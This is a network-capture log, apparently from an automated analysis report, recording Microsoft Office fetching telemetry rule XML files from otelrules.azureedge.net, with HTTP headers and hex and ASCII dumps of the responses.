2024-10-28 05:28:13 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:13 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: d0af8e75-601e-0050-7953-272c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052813Z-r197bdfb6b46kmj4701qkq602400000003qg0000000022xr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:13 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.4	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:13 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:13 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:13 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 207ff7bf-701e-006f-1357-27afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052813Z-16849878b78qwx7pmw9x5fub1c00000002mg00000000md8g x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 05:28:13 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.4	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:13 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:14 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:14 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: eff8debc-001e-0065-199c-270b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052814Z-16849878b78qf2gleqhwczd21s00000004rg00000000dwcn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:14 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.4	49859	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:14 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:14 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:14 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: c05ef2b3-701e-005c-2d6a-27bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052814Z-r197bdfb6b48pcqqxhenwd2uz8000000059g0000000085yr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:14 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.4	49862	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:14 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:14 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: cd644fad-f01e-0071-6ce7-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052814Z-17c5cb586f6b6kj91vqtm6kxaw0000000360000000009p4t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 30 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 65 6d 65 74 72 79 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700400" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTelemetry" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.4	49861	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:14 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:14 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: de20d122-c01e-008e-20f7-267381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052814Z-r197bdfb6b48pcqqxhenwd2uz800000005d0000000001wxg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.4	49860	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:14 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:14 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:14 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: c4804143-f01e-0003-2fe0-254453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052814Z-15b8d89586flzzks5bs37v2b9000000008vg000000004e09 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:14 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.4	49863	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:14 UTC	192	OUT	GET /rules/rule700351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:14 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:14 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BDFD43C07" x-ms-request-id: 27230864-a01e-0070-6533-26573b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052814Z-17c5cb586f6sqz6fff89etrx080000000450000000009gur x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:14 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSys

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.4	49864	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:15 UTC	192	OUT	GET /rules/rule700350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:15 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:15 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDD74D2EC" x-ms-request-id: 92d64d37-101e-0034-119c-2796ff000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052815Z-16849878b78sx229w7g7at4nkg00000002xg000000001fn8 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:15 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 79 73 74 65 6d 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.System" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSystem" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.4	49865	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:15 UTC	192	OUT	GET /rules/rule703901v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:15 GMT Content-Type: text/xml Content-Length: 1427 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:53 GMT ETag: "0x8DC582BE56F6873" x-ms-request-id: 08f6a26f-f01e-0071-6b1c-27431c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052815Z-16849878b78fssff8btnns3b1400000004ug00000000c9wf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:15 UTC	1427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703901" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexu

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.4	49866	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:15 UTC	192	OUT	GET /rules/rule703900v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:15 GMT Content-Type: text/xml Content-Length: 1390 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE3002601" x-ms-request-id: 094c1a0f-c01e-0066-77f2-24a1ec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052815Z-15b8d89586fzhrwgk23ex2bvhw000000078g00000000af1e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 05:28:15 UTC	1390	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 39 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 65 72 76 69 63 65 61 62 69 6c 69 74 79 4d 61 6e 61 67 65 72 22 20 53 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703900" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ServiceabilityManager" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenServiceabilityManager" S=

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.4	49867	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 05:28:15 UTC	192	OUT	GET /rules/rule701501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 05:28:15 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 05:28:15 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:48 GMT ETag: "0x8DC582BE2A9D541" x-ms-request-id: 3a798620-501e-00a0-0295-279d9f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T052815Z-16849878b78sx229w7g7at4nkg00000002w0000000004wvs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
